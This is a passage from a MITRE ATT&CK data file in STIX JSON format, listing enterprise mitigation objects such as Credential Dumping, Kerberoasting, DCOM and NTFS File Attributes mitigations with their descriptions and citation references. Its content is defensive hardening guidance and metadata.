(CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. 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Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. 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Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", "type": "course-of-action", "created": "2019-06-06T19:55:50.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1019", "url": "https://attack.mitre.org/mitigations/M1019"}], "modified": "2019-06-06T19:55:50.927Z", "name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1141", "external_id": "T1141"}], "modified": "2019-07-24T19:42:41.375Z", "name": "Input Prompt Mitigation", "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. 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Registry Values for System-Wide Security. Retrieved November 21, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"}, {"source_name": "Microsoft COM ACL", "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"}, {"url": "https://technet.microsoft.com/library/cc771387.aspx", "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.", "source_name": "Microsoft Disable DCOM"}, {"url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653", "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", "source_name": "Microsoft Protected View"}], "modified": "2019-07-24T19:12:02.818Z", "name": "Distributed Component Object Model Mitigation", "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. 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Retrieved April 11, 2018.", "url": "https://msitpros.com/?p=3960"}], "modified": "2019-07-24T18:04:13.126Z", "name": "CMSTP Mitigation", "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. 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Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-24T19:19:30.892Z", "name": "Exfiltration Over Command and Control Channel Mitigation", "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. 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Retrieved March 12, 2018.", "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"}, {"source_name": "TechNet Moving Beyond EMET", "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/"}, {"source_name": "Wikipedia Control Flow Integrity", "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", "url": "https://en.wikipedia.org/wiki/Control-flow_integrity"}], "modified": "2019-07-24T19:26:18.998Z", "name": "Exploitation for Privilege Escalation Mitigation", "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1195", "external_id": "T1195"}, {"source_name": "MITRE SE Guide 2014", "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.", "url": "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf"}, {"source_name": "NIST Supply Chain 2012", "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.", "url": "http://dx.doi.org/10.6028/NIST.IR.7622"}, {"description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. 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Retrieved March 26, 2018.", "source_name": "Microsoft W32Time May 2017"}], "modified": "2020-01-17T16:45:23.703Z", "name": "Time Providers Mitigation", "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. 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(2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "url": "https://adsecurity.org/?p=2293"}], "modified": "2019-07-24T19:44:28.440Z", "name": "Kerberoasting Mitigation", "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. 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(2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-25T12:01:13.198Z", "name": "Standard Cryptographic Protocol Mitigation", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. 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Retrieved July 26, 2018.", "source_name": "Microsoft GPO Bluetooth FEB 2009"}, {"url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/", "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.", "source_name": "TechRepublic Wireless GPO FEB 2009"}], "modified": "2019-07-24T19:20:18.344Z", "name": "Exfiltration Over Other Network Medium Mitigation", "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. 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Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1096", "url": "https://attack.mitre.org/mitigations/T1096", "source_name": "mitre-attack"}, {"url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", "source_name": "Microsoft ADS Mar 2014"}, {"source_name": "Symantec ADS May 2009", "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"}, {"source_name": "TechNet Applocker vs SRP", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"}, {"source_name": "InsiderThreat NTFS EA Oct 2017", "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks"}], "modified": "2021-08-23T20:25:21.492Z", "name": "NTFS File Attributes Mitigation", "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. 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However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e", "type": "course-of-action", "created": "2019-04-25T20:53:07.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://attack.mitre.org/mitigations/T1500", "source_name": "mitre-attack", "external_id": "T1500"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"}, {"source_name": "TechNet Applocker vs SRP", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"}], "modified": "2021-08-23T20:25:22.015Z", "name": "Compile After Delivery Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1003", "url": "https://attack.mitre.org/mitigations/T1003", "source_name": "mitre-attack"}, {"url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach", "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", "source_name": "Microsoft Securing Privileged Access"}, {"source_name": "Microsoft LSA", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"}, {"url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "source_name": "Beechey 2010"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "source_name": "Corio 2008"}, {"url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "source_name": "TechNet Applocker vs SRP"}, {"source_name": "TechNet Credential Guard", "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"}, {"source_name": "GitHub SHB Credential Guard", "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard"}, {"url": "https://adsecurity.org/?p=1729", "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", "source_name": "AdSecurity DCSync Sept 2015"}, {"source_name": "Microsoft Replication ACL", "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"}, {"source_name": "Microsoft Disable NTLM Nov 2012", "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", "url": "https://technet.microsoft.com/library/jj865668.aspx"}], "modified": "2021-08-23T20:25:19.916Z", "name": "Credential Dumping Mitigation", "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1219", "external_id": "T1219"}], "modified": "2019-07-25T11:32:44.821Z", "name": "Remote Access Tools Mitigation", "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T15:52:06.295Z", "name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "type": "course-of-action", "id": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "created": "2019-06-10T20:53:36.319Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/M1032", "external_id": "M1032"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1176", "external_id": "T1176"}, {"source_name": "Technospot Chrome Extensions GP", "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/"}], "modified": "2019-07-24T14:41:17.903Z", "name": "Browser Extensions Mitigation", "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-26T19:17:13.293Z", "name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "type": "course-of-action", "id": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "created": "2019-07-19T14:40:23.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/M1054", "external_id": "M1054"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1207", "external_id": "T1207"}], "modified": "2019-07-24T14:23:59.683Z", "name": "DCShadow Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1050", "url": "https://attack.mitre.org/mitigations/T1050", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). 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(2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", "source_name": "TechNet Removable Media Control"}], "modified": "2019-07-24T18:09:33.072Z", "name": "Communication Through Removable Media Mitigation", "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. 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(Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "type": "course-of-action", "created": "2019-06-11T17:06:56.230Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1048", "url": "https://attack.mitre.org/mitigations/M1048"}], "modified": "2020-03-31T13:08:03.851Z", "name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 